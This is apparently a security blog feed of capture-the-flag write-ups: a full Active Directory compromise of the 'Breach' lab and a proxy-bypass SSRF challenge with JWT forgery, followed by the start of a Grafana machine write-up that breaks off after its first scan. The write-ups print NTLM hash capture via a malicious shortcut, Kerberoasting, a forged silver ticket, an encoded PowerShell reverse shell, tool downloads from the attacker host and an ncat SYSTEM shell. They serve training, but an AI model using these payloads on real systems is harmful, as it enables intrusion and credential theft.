Bloghttps://dahmanisec.me/enhttps://dahmanisec.me/posts/breach/https://dahmanisec.me/posts/breach/Mon, 15 Dec 2025 00:00:00 GMT<h1>Initial Access</h1> <h2>Nmap Scan</h2> <p>I began the assessment with a comprehensive Nmap scan to identify open ports and running services on the target domain controller:</p> <pre><code>└─$ nmap -p- -sV -vv --min-rate=3000 -oN breach.txt 10.129.12.240 # Nmap 7.95 scan initiated Mon Dec 15 09:13:21 2025 as: /usr/lib/nmap/nmap --privileged -p- -sV -vv --min-rate=3000 -oN breach.txt 10.129.12.240 Nmap scan report for 10.129.12.240 Host is up, received echo-reply ttl 127 (0.18s latency). Scanned at 2025-12-15 09:13:21 +01 for 151s Not shown: 65517 filtered tcp ports (no-response) PORT STATE SERVICE REASON VERSION 53/tcp open domain syn-ack ttl 127 Simple DNS Plus 80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0 135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn 389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: breach.vl0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? syn-ack ttl 127 464/tcp open kpasswd5? syn-ack ttl 127 593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped syn-ack ttl 127 1433/tcp open ms-sql-s syn-ack ttl 127 Microsoft SQL Server 2019 15.00.2000 3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: breach.vl0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped syn-ack ttl 127 3389/tcp open ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services 5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing 49664/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49677/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0 49917/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC Service Info: Host: BREACHDC; OS: Windows; CPE: cpe:/o:microsoft:windows Read data files from: /usr/share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Mon Dec 15 09:15:52 2025 -- 1 IP address (1 host up) scanned in 151.30 seconds </code></pre> <p>The scan revealed a Windows Server 2022 domain controller (BREACHDC) with typical Active Directory services including DNS (53), LDAP (389), Kerberos (464), SMB (445), MSSQL (1433), WinRM (5985), and RDP (3389).</p> <h2>Updating Hosts File</h2> <p>To ensure proper name resolution for Kerberos authentication and other domain operations, I added the target to my local hosts file:</p> <pre><code>└─$ echo -e "10.129.12.240\tbreachdc.breach.vl\tbreach.vl\tbreachdc" | sudo tee -a /etc/hosts 10.129.12.240 breachdc.breach.vl breach.vl breachdc </code></pre> <h2>SMB Enumeration with Guest Access</h2> <p>I tested for guest authentication on the SMB service and confirmed that null authentication was enabled:</p> <pre><code>└─$ nxc smb breach.vl -u "Guest" -p "" SMB 10.129.12.240 445 BREACHDC [*] Windows Server 2022 Build 20348 x64 (name:BREACHDC) (domain:breach.vl) (signing:True) (SMBv1:False) (Null Auth:True) SMB 10.129.12.240 445 BREACHDC [+] breach.vl\Guest: </code></pre> <h2>Share Enumeration</h2> <p>With guest access confirmed, I enumerated the available SMB shares to identify potential attack vectors:</p> <pre><code>└─$ nxc smb breach.vl -u "Guest" -p "" --shares SMB 10.129.15.151 445 BREACHDC [*] Windows Server 2022 Build 20348 x64 (name:BREACHDC) (domain:breach.vl) (signing:True) (SMBv1:False) (Null Auth:True) SMB 10.129.15.151 445 BREACHDC [+] breach.vl\Guest: SMB 10.129.15.151 445 BREACHDC [*] Enumerated shares SMB 10.129.15.151 445 BREACHDC Share Permissions Remark SMB 10.129.15.151 445 BREACHDC ----- ----------- ------ SMB 10.129.15.151 445 BREACHDC ADMIN$ Remote Admin SMB 10.129.15.151 445 BREACHDC C$ Default share SMB 10.129.15.151 445 BREACHDC IPC$ READ Remote IPC SMB 10.129.15.151 445 BREACHDC NETLOGON Logon server share SMB 10.129.15.151 445 BREACHDC share READ,WRITE SMB 10.129.15.151 445 BREACHDC SYSVOL Logon server share SMB 10.129.15.151 445 BREACHDC Users READ </code></pre> <p>The enumeration revealed a critical misconfiguration: the "share" folder allows both READ and WRITE access to guest users. This is a significant finding as it opens up possibilities for credential theft attacks.</p> <h2>Exploring the Share</h2> <p>I connected to the writable share to explore its contents and identify potential targets:</p> <pre><code>└─$ smbclient \\\\breach.vl\\share -U "Guest" Password for [WORKGROUP\Guest]: Try "help" to get a list of possible commands. smb: \&gt; ls . D 0 Mon Dec 15 10:28:24 2025 .. DHS 0 Tue Sep 9 11:35:32 2025 finance D 0 Thu Feb 17 12:19:34 2022 software D 0 Thu Feb 17 12:19:12 2022 transfer D 0 Mon Sep 8 11:13:44 2025 7863807 blocks of size 4096. 1505175 blocks available smb: \&gt; cd transfer smb: \transfer\&gt; ls . D 0 Mon Sep 8 11:13:44 2025 .. D 0 Mon Dec 15 10:28:24 2025 claire.pope D 0 Thu Feb 17 12:21:35 2022 diana.pope D 0 Thu Feb 17 12:21:19 2022 julia.wong D 0 Thu Apr 17 01:38:12 2025 7863807 blocks of size 4096. 1505175 blocks available smb: \transfer\&gt; ls claire.pope claire.pope D 0 Thu Feb 17 12:21:35 2022 7863807 blocks of size 4096. 1505175 blocks available smb: \transfer\&gt; cd claire.pope\ smb: \transfer\claire.pope\&gt; ls NT_STATUS_ACCESS_DENIED listing \transfer\claire.pope\* smb: \transfer\claire.pope\&gt; cd .. smb: \transfer\&gt; cd diana.pope\ smb: \transfer\diana.pope\&gt; ls NT_STATUS_ACCESS_DENIED listing \transfer\diana.pope\* smb: \transfer\diana.pope\&gt; </code></pre> <p>The share contained a transfer folder with user directories (claire.pope, diana.pope, julia.wong), though direct access to these folders was denied. The presence of user folders in a transfer share suggested this might be actively used by employees.</p> <h2>NTLM Hash Theft via Malicious LNK File</h2> <p>Since I had write access to the share, I employed a red teaming technique using a malicious shortcut (.lnk) file. When a user browses the folder containing the shortcut, Windows automatically attempts to resolve the shortcut's icon location, causing an outbound connection that leaks the user's NTLM hash.</p> <p>First, I started Responder to capture incoming NTLM authentication attempts:</p> <pre><code>└─$ sudo responder -I tun0 </code></pre> <p>Then I used NetExec's slinky module to generate and upload a malicious LNK file that points to my Responder listener:</p> <pre><code>└─$ nxc smb breach.vl -u "Guest" -p "" -M slinky -o NAME=test SERVER=10.10.14.77 SMB 10.129.12.240 445 BREACHDC [*] Windows Server 2022 Build 20348 x64 (name:BREACHDC) (domain:breach.vl) (signing:True) (SMBv1:False) (Null Auth:True) SMB 10.129.12.240 445 BREACHDC [+] breach.vl\Guest: SMB 10.129.12.240 445 BREACHDC [*] Enumerated shares SMB 10.129.12.240 445 BREACHDC Share Permissions Remark SMB 10.129.12.240 445 BREACHDC ----- ----------- ------ SMB 10.129.12.240 445 BREACHDC ADMIN$ Remote Admin SMB 10.129.12.240 445 BREACHDC C$ Default share SMB 10.129.12.240 445 BREACHDC IPC$ READ Remote IPC SMB 10.129.12.240 445 BREACHDC NETLOGON Logon server share SMB 10.129.12.240 445 BREACHDC share READ,WRITE SMB 10.129.12.240 445 BREACHDC SYSVOL Logon server share SMB 10.129.12.240 445 BREACHDC Users READ SLINKY 10.129.12.240 445 BREACHDC [+] Found writable share: share SLINKY 10.129.12.240 445 BREACHDC [+] Created LNK file on the share share </code></pre> <p>The module placed the shortcut on the root share folder. Since no credentials were captured there, I moved the LNK file to the transfer folder where user activity was more likely:</p> <pre><code>└─$ smbclient \\\\breach.vl\\share -U "Guest" Try "help" to get a list of possible commands. smb: \&gt; ls . D 0 Mon Dec 15 09:42:13 2025 .. DHS 0 Tue Sep 9 11:35:32 2025 finance D 0 Mon Dec 15 09:29:07 2025 software D 0 Thu Feb 17 12:19:12 2022 test.lnk A 945 Mon Dec 15 09:42:13 2025 transfer D 0 Mon Dec 15 09:28:41 2025 7863807 blocks of size 4096. 1518803 blocks available smb: \&gt; cd transfer\ smb: \transfer\&gt; ls . D 0 Mon Dec 15 09:28:41 2025 .. D 0 Mon Dec 15 09:42:13 2025 claire.pope D 0 Thu Feb 17 12:21:35 2022 diana.pope D 0 Thu Feb 17 12:21:19 2022 important.lnk A 23 Mon Dec 15 09:28:41 2025 julia.wong D 0 Thu Apr 17 01:38:12 2025 7863807 blocks of size 4096. 1518547 blocks available smb: \transfer\&gt; put test.lnk putting file test.lnk as \transfer\test.lnk (0.8 kb/s) (average 0.8 kb/s) smb: \transfer\&gt; exit </code></pre> <h2>Capturing NTLM Hash</h2> <p>Shortly after placing the malicious shortcut in the transfer folder, Responder captured the NTLMv2 hash of a user named Julia.Wong who browsed the share:</p> <p><img src="images/image.png" alt="alt text" /></p> <h2>Cracking the NTLMv2 Hash</h2> <p>I used John the Ripper with the default wordlist to crack the captured NTLMv2 hash:</p> <pre><code>└─$ john hash.txt Using default input encoding: UTF-8 Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) Will run 8 OpenMP threads Proceeding with single, rules:Single Press 'q' or Ctrl-C to abort, almost any other key for status Almost done: Processing the remaining buffered candidate passwords, if any. Proceeding with wordlist:/usr/share/john/password.lst Computer1 (Julia.Wong) 1g 0:00:00:00 DONE 2/3 (2025-12-15 09:47) 3.125g/s 131937p/s 131937c/s 131937C/s sierra1..faithfaith Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably Session completed. </code></pre> <p>The password was successfully cracked: <code>Julia.Wong:Computer1</code></p> <h2>Retrieving User Flag</h2> <p>With valid credentials for Julia.Wong, I connected to the share and retrieved the user flag from her transfer folder:</p> <pre><code>└─$ smbclient \\\\breach.vl\\share -U "Julia.Wong%Computer1" Try "help" to get a list of possible commands. smb: \&gt; cd transfer smb: \transfer\&gt; ls . D 0 Mon Dec 15 09:43:47 2025 .. D 0 Mon Dec 15 09:53:15 2025 claire.pope D 0 Thu Feb 17 12:21:35 2022 diana.pope D 0 Thu Feb 17 12:21:19 2022 important.lnk A 23 Mon Dec 15 09:28:41 2025 julia.wong D 0 Thu Apr 17 01:38:12 2025 test.lnk A 945 Mon Dec 15 09:43:47 2025 7863807 blocks of size 4096. 1517491 blocks available smb: \transfer\&gt; cd julia.wong\ smb: \transfer\julia.wong\&gt; ls . D 0 Thu Apr 17 01:38:12 2025 .. D 0 Mon Dec 15 09:43:47 2025 user.txt A 32 Thu Apr 17 01:38:22 2025 7863807 blocks of size 4096. 1517491 blocks available smb: \transfer\julia.wong\&gt; cat user.txt cat: command not found smb: \transfer\julia.wong\&gt; mget user.txt Get file user.txt? yes getting file \transfer\julia.wong\user.txt of size 32 as user.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec) </code></pre> <h1>Privilege Escalation</h1> <h2>Domain User Enumeration</h2> <p>With Julia.Wong's credentials, I enumerated all domain users to identify potential targets for lateral movement:</p> <pre><code>└─$ nxc smb breach.vl -u "Julia.Wong" -p "Computer1" --users SMB 10.129.15.151 445 BREACHDC [*] Windows Server 2022 Build 20348 x64 (name:BREACHDC) (domain:breach.vl) (signing:True) (SMBv1:False) (Null Auth:True) SMB 10.129.15.151 445 BREACHDC [+] breach.vl\Julia.Wong:Computer1 SMB 10.129.15.151 445 BREACHDC -Username- -Last PW Set- -BadPW- -Description- SMB 10.129.15.151 445 BREACHDC Administrator 2025-09-08 08:21:20 0 Built-in account for administering the computer/domain SMB 10.129.15.151 445 BREACHDC Guest 2022-02-17 13:36:50 0 Built-in account for guest access to the computer/domain SMB 10.129.15.151 445 BREACHDC krbtgt 2022-02-17 10:04:57 0 Key Distribution Center Service Account SMB 10.129.15.151 445 BREACHDC Claire.Pope 2022-02-17 10:36:11 0 SMB 10.129.15.151 445 BREACHDC Julia.Wong 2022-02-17 12:58:50 0 SMB 10.129.15.151 445 BREACHDC Hilary.Reed 2022-02-17 10:36:11 0 SMB 10.129.15.151 445 BREACHDC Diana.Pope 2022-02-17 10:36:11 0 SMB 10.129.15.151 445 BREACHDC Jasmine.Price 2022-02-17 10:36:11 0 SMB 10.129.15.151 445 BREACHDC George.Williams 2022-02-17 10:36:11 0 SMB 10.129.15.151 445 BREACHDC Lawrence.Kaur 2022-02-17 10:36:12 0 SMB 10.129.15.151 445 BREACHDC Jasmine.Slater 2022-02-17 10:36:12 0 SMB 10.129.15.151 445 BREACHDC Hugh.Watts 2022-02-17 10:36:12 0 SMB 10.129.15.151 445 BREACHDC Christine.Bruce 2022-02-17 10:36:12 0 SMB 10.129.15.151 445 BREACHDC svc_mssql 2022-02-17 10:43:08 0 SMB 10.129.15.151 445 BREACHDC [*] Enumerated 14 local users: BREACH </code></pre> <p>The enumeration revealed a service account named <code>svc_mssql</code>, which is a high-value target as service accounts often have SPNs registered, making them vulnerable to Kerberoasting attacks.</p> <h2>Kerberos Ticket Request</h2> <p>I requested a TGT (Ticket Granting Ticket) for Julia.Wong to perform Kerberos-based attacks:</p> <pre><code>└─$ impacket-getTGT breach.vl/Julia.Wong:Computer1 -dc-ip breachdc.breach.vl Impacket v0.13.0.dev0+20250801.113918.849c74b7 - Copyright Fortra, LLC and its affiliated companies [*] Saving ticket in Julia.Wong.ccache </code></pre> <p>I set the Kerberos credential cache environment variable to use the obtained ticket:</p> <pre><code>└─$ export KRB5CCNAME=Julia.Wong.ccache </code></pre> <h2>Kerberoasting Attack</h2> <p>Using the TGT, I enumerated Service Principal Names (SPNs) in the domain to identify Kerberoastable accounts:</p> <pre><code>└─$ impacket-GetUserSPNs breach.vl/julia.wong -k -no-pass -dc-ip breachdc.breach.vl Impacket v0.13.0.dev0+20250801.113918.849c74b7 - Copyright Fortra, LLC and its affiliated companies [*] Getting machine hostname ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation -------------------------------- --------- -------- -------------------------- -------------------------- ---------- MSSQLSvc/breachdc.breach.vl:1433 svc_mssql 2022-02-17 11:43:08.106169 2025-12-15 10:25:23.758809 </code></pre> <p>The svc_mssql account has an SPN registered for the MSSQL service. I requested a TGS ticket for this service, which is encrypted with the service account's password hash:</p> <pre><code> └─$ impacket-GetUserSPNs breach.vl/julia.wong -k -no-pass -dc-ip breachdc.breach.vl -request Impacket v0.13.0.dev0+20250801.113918.849c74b7 - Copyright Fortra, LLC and its affiliated companies [*] Getting machine hostname ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation -------------------------------- --------- -------- -------------------------- -------------------------- ---------- MSSQLSvc/breachdc.breach.vl:1433 svc_mssql 2022-02-17 11:43:08.106169 2025-12-15 10:25:23.758809 $krb5tgs$23$*svc_mssql$BREACH.VL$breach.vl/svc_mssql*$b04968a8c1b75ac84c7c258a8b2456fa$e8fefd68470b01cbd8d8c7a1c9f7f83b41d8a874931f534f85419473b4656885eea4bf5b19b5907011d730ff67273b13daea24745f8ea58ceca5a6638015d92188aaa8f4d4d3d7c0f837c8a14b9bc239c662ecc783a6169170185c6ab13d42e58661b8c9979a7a1ad6f019601497f9d6d755f15666a2efb27422fc75f403e81f18a532b3c23a0c390199ee72ba5d7cd1d1fb38ab59128f7a69e4ebc7dda7b60cd410822c9685f00cc7989e5add43d921124784114aa0757f6aa6932d76739789bcf4e8f5a0a381fb4ead790818f4f1a95580f687b18bb4cb467210054fc52f540b98a9e24b4ba0d2e9955f3b91dd52fbe7fb49a28d3e44a9b00862bf43acb07ee4309f68f3b1b6b8fe5593d1ef3b13603ce39732ca79a7cd76e36a4dafd6fee538a70d3317b5e7c6067b9cf7438075bf9096be16cb8fde1e6e3afbbc4bab651305e24cbc3a7e78ae2305da2f5165c0e56b9d3b4087041081c2b9e0bdcc516817125c01b94d2994dc74c7f752a2e6770530ca8818366075ae2b60108aa5bb7edd1633cc99d6e7744aaeb779eb5e4081a7bc69fcf7fdc68b7f6ea27a5e72a15c0f58495468cc37adf267984b45c36332d302600126f4d6d3b20945017bf1b7ece8d85dddaf1179b109e1a369ae6fe883d83cf4c884d18806b14354a91ae0da5c639e3b89476f5de0fda282b3e22fdfbb43d941cf888376862d823f8c0afda822b32fa383351600e38ddf73575f3dfbd1aed882762568caf314ed63c560719e6967ccb7c858d235cae5485099f3eeb271316b4fa4cdd36261ab34bcd21c1f4def3c6f183b64cf45144264602c82a5bdb04d7cfdc38c8d4e06b190fd08bbfdae1b0019e1a5487db40f2d3dce57373cc80a5afc8b4c1d9f12e5b1c275c66b470de5c65984b07e8f74449fbf4ea31c1d59f5b06663aed270c57958b434acd3974562e16fef2d063d898a8d20895db48892c3178aab7feac39652e79b1aaf1066007f47c0d9290b86990eaf9e6f141549c01621ad0e9a561aaca9e9f9a1c7eb158062ca54a48148dd5cda8980ac2132e143e28a69034f520bdcf55e4af172a64bd21f2247f15b125c5a833e61530e6fd800a8b9d3ae92030a014097db9c02944f8187535f8e3632fdb7f05b927bc1caa3381902a2fc7f8e9b780e2b2bc0591050c33401a38c94418067f382dd88db093e49fada7cefce181ea19d7d9ada0ad9b3c71995857c9582240492ddfc3ab8bb896a2623b9d9aeddff1eea400b756a7d137910a16952d52b64514a9c1cb7185b6ef95e510d2f584d27126d49ee6590196f7c3b916623f920dcde5864d25f1594ab4362a1ad89649b2fc8591ee502ed935c3aaa8eb2c2a8ac0fe00f4b79bd17cdb86bf642b584c298a3bb0e6deaa46abe0032401a48c5c191e49bd5a78cf2d30a2aedea2145f980d5cfd4c3ee35fc0f0ce63cd39796a546e9059dddf1227bad1ceba4976bf33362fb </code></pre> <h2>Cracking the Kerberos TGS Hash</h2> <p>I cracked the captured TGS hash using John the Ripper:</p> <pre><code>└─$ john svc_mssql.hash Using default input encoding: UTF-8 Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4]) Will run 8 OpenMP threads Proceeding with single, rules:Single Press 'q' or Ctrl-C to abort, almost any other key for status Almost done: Processing the remaining buffered candidate passwords, if any. Proceeding with wordlist:/usr/share/john/password.lst Trustno1 (?) 1g 0:00:00:00 DONE 2/3 (2025-12-15 11:08) 25.00g/s 102400p/s 102400c/s 102400C/s ilovegod..Peter Use the "--show" option to display all of the cracked passwords reliably Session completed. </code></pre> <p>The password was successfully cracked: <code>svc_mssql:Trustno1</code></p> <h2>Analyzing Service Account Privileges</h2> <p>Using BloodHound, I discovered that the svc_mssql account has SQLAdmin execution privileges over the domain controller, which can be leveraged to gain elevated access:</p> <p><img src="images/image-1.png" alt="alt text" /></p> <h2>Silver Ticket Attack</h2> <p>To exploit the MSSQL service, I crafted a Silver Ticket. First, I generated the NT hash of the svc_mssql password:</p> <pre><code>└─$ python3 -c 'import hashlib,binascii; print(binascii.hexlify(hashlib.new("md4", "Trustno1".encode("utf-16le")).digest()).decode())' 69596c7aa1e8daee17f8e78870e25a5c </code></pre> <p>Using the NT hash and domain SID, I forged a Silver Ticket for the Administrator account targeting the MSSQL service:</p> <pre><code>└─$ impacket-ticketer -domain-sid "S-1-5-21-2330692793-3312915120-706255856" -spn "MSSQLSvc/breachdc.breach.vl" -nthash "69596c7aa1e8daee17f8e78870e25a5c" -domain breach.vl -user-id 500 Administrator Impacket v0.13.0.dev0+20250801.113918.849c74b7 - Copyright Fortra, LLC and its affiliated companies [*] Creating basic skeleton ticket and PAC Infos [*] Customizing ticket for breach.vl/administrator [*] PAC_LOGON_INFO [*] PAC_CLIENT_INFO_TYPE [*] EncTicketPart [*] EncTGSRepPart [*] Signing/Encrypting final ticket [*] PAC_SERVER_CHECKSUM [*] PAC_PRIVSVR_CHECKSUM [*] EncTicketPart [*] EncTGSRepPart [*] Saving ticket in Administrator.ccache </code></pre> <p>I set the environment variable to use the forged Silver Ticket:</p> <pre><code>└─$ export KRB5CCNAME=Administrator.ccache </code></pre> <h2>MSSQL Access and Command Execution</h2> <p>Using the Silver Ticket, I connected to the MSSQL server as Administrator:</p> <pre><code>└─$ impacket-mssqlclient -k -no-pass -windows-auth breachdc.breach.vl Impacket v0.13.0.dev0+20250801.113918.849c74b7 - Copyright Fortra, LLC and its affiliated companies [*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(BREACHDC\SQLEXPRESS): Line 1: Changed database context to 'master'. [*] INFO(BREACHDC\SQLEXPRESS): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000) [!] Press help for extra shell commands SQL (BREACH\Administrator dbo@master)&gt; enable_xp_cmdshell INFO(BREACHDC\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install. INFO(BREACHDC\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install. </code></pre> <p>I enabled xp_cmdshell to execute operating system commands through the SQL Server.</p> <h2>Reverse Shell via MSSQL</h2> <p>I executed a PowerShell reverse shell payload through xp_cmdshell to gain an interactive shell on the target:</p> <pre><code>SQL (BREACH\Administrator dbo@master)&gt; xp_cmdshell powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQAxADMAIgAsADQANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA </code></pre> <p>I received the connection on my netcat listener:</p> <pre><code>└─$ nc -lnvp 4443 listening on [any] 4443 ... connect to [10.10.14.113] from (UNKNOWN) [10.129.15.151] 55060 pwd Path ---- C:\Windows\system32 </code></pre> <pre><code>PS C:\Windows\system32&gt; whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======== SeAssignPrimaryTokenPrivilege Replace a process level token Disabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeMachineAccountPrivilege Add workstations to domain Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeManageVolumePrivilege Perform volume maintenance tasks Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled </code></pre> <h2>Token Impersonation Attack</h2> <p>I enumerated the privileges of the current user and found SeImpersonatePrivilege enabled, which allows for token impersonation attacks to escalate to SYSTEM.</p> <h2>Exploiting SeImpersonatePrivilege with GodPotato</h2> <p>I uploaded GodPotato and ncat to the target system to perform a potato-style privilege escalation:</p> <pre><code> PS C:\Windows\system32&gt; cd ../../Users PS C:\Users&gt; cd svc* PS C:\Users\svc_mssql&gt; iwr http://10.10.14.113:8000/GodPotato-NET4.exe -outfile godpotato.exe PS C:\Users\svc_mssql&gt; iwr http://10.10.14.113:8000/ncat.exe -outfile ncat.exe PS C:\Users\svc_mssql&gt; </code></pre> <p>I executed GodPotato to run a reverse shell as SYSTEM:</p> <pre><code>PS C:\Users\svc_mssql&gt; .\godpotato.exe -cmd "ncat.exe 10.10.14.113 4487 -e powershell" </code></pre> <h2>SYSTEM Shell</h2> <p>I received a connection on my listener with SYSTEM privileges:</p> <pre><code>└─$ nc -lnvp 4487 listening on [any] 4487 ... connect to [10.10.14.113] from (UNKNOWN) [10.129.15.151] 55355 PS C:\Users\svc_mssql&gt; whoami nt authority\system PS C:\Users\svc_mssql&gt; </code></pre> <h2>Retrieving Root Flag</h2> <p>With SYSTEM access, I retrieved the root flag from the Administrator's desktop:</p> <pre><code>PS C:\Users\svc_mssql&gt; cat ../Administrator/Desktop/root.txt cat ../Administrator/Desktop/root.txt fc98f418f94f8cdb9a30ef026fe64345 PS C:\Users\svc_mssql&gt; </code></pre> https://dahmanisec.me/posts/cyberodyssey/cyberodyssey/https://dahmanisec.me/posts/cyberodyssey/cyberodyssey/Wed, 05 Nov 2025 00:00:00 GMT<h1>Pipeline</h1> <p>This challenge presented us with a multi-service architecture consisting of three interconnected servers.</p> <p><img src="images/image.png" alt="alt text" /></p> <h3>Server1 (Port 5000)</h3> <ul> <li>Internal only, not directly accessible</li> <li>Hosts the JWT secret at <code>/.well-known/jwks.json</code></li> </ul> <h3>Server2 (Port 3000)</h3> <ul> <li>Also internal, no direct access</li> <li>Contains the flag endpoint at <code>/admin/flag</code> which requires a valid JWT with admin privileges</li> <li>Has a debug endpoint <code>/debug/fetch</code> vulnerable to SSRF</li> </ul> <h3>Proxy (Port 8082)</h3> <ul> <li>The only publicly accessible component</li> <li>Routes traffic to Server2 but explicitly blocks paths beginning with <code>/debug</code></li> </ul> <h2>Vulnerability Analysis</h2> <p>Looking at Server2's implementation, the <code>/admin/flag</code> endpoint only validates two things:</p> <ol> <li>The JWT must be signed with a valid secret</li> <li>The token must contain <code>role: admin</code></li> </ol> <p>The <code>/debug/fetch</code> endpoint trusts any request with the <code>X-Forwarded-For</code> header set to <code>127.0.0.1</code>.</p> <p>The attack path becomes clear: leverage the SSRF to reach Server1, grab the JWT secret, forge an admin token, and retrieve the flag.</p> <h2>The Roadblock</h2> <p>There's one problem - the proxy actively blocks access to <code>/debug/*</code>:</p> <pre><code>if (checkPath.toLowerCase().startsWith("/debug")) { client.write( "HTTP/1.1 403 Forbidden\r\nConnection: close\r\nContent-Type: text/plain\r\nContent-Length: 9\r\n\r\nforbidden" ); client.end(); upstream.end(); return; } </code></pre> <h2>Bypassing the Proxy Filter</h2> <p>Two interesting observations in the proxy code:</p> <ol> <li>Headers are manually parsed using a custom <code>parseHeaders</code> function:</li> </ol> <pre><code>client.on("data", (chunk) =&gt; { clientBuf = Buffer.concat([clientBuf, chunk]); const meta = parseHeaders(clientBuf); if (!meta) return; const { idx, method, path, headers } = meta; </code></pre> <ol> <li>URL parsing errors are silently ignored:</li> </ol> <pre><code>try { if (/^https?:\/\//i.test(checkPath)) { const u = new URL(checkPath); checkPath = u.pathname || ""; } } catch (_) {} </code></pre> <p>Using port 65540 (which exceeds the maximum valid port of 65535) causes <code>new URL()</code> to throw an exception. Since errors are swallowed, the path check is bypassed:</p> <pre><code>curl -X GET "http://192.168.1.17:8082/https://localhost:65540/debug/fetch?url=http://localhost:5000/.well-known/jwks.json" \ -H "Host: 192.168.1.17" \ -H "X-Forwarded-For: 127.0.0.1" </code></pre> <p>The payload above gave us the JWT secret from Server1. The response contains the HMAC secret in the <code>n</code> field:</p> <pre><code>{ "keys": [ { "kty": "RSA", "n": "random-string-for-hmac-secret", ... } ] } </code></pre> <p>Next, forge a JWT with admin privileges:</p> <pre><code># Using jwt-cli jwt encode --secret "random-string-for-hmac-secret" '{"role":"admin"}' # Or using Node.js one-liner node -e "console.log(require('jsonwebtoken').sign({role:'admin'},'random-string-for-hmac-secret',{algorithm:'HS256'}))" </code></pre> <p>Finally, request the flag using the forged token:</p> <pre><code>curl -H "Authorization: Bearer &lt;your-jwt-token&gt;" http://192.168.1.17:8082/admin/flag </code></pre> <p>And that's the flag!</p> https://dahmanisec.me/posts/data/https://dahmanisec.me/posts/data/HackTheBox machine featuring Grafana path traversal vulnerability and Docker privilege escalationFri, 03 Oct 2025 00:00:00 GMT<h1>Initial Reconnaissance</h1> <h2>Nmap Scan</h2> <p>I began the assessment with a comprehensive Nmap scan to identify open ports and running services on the target machine:</p> <pre><code>└─$ nmap -sV -vv -p- -A --min-rate 3000 -oN data.txt 10.129.179.91 Nmap scan report for 10.129.179.91 (10.129.179.91) Host is up, received echo-reply 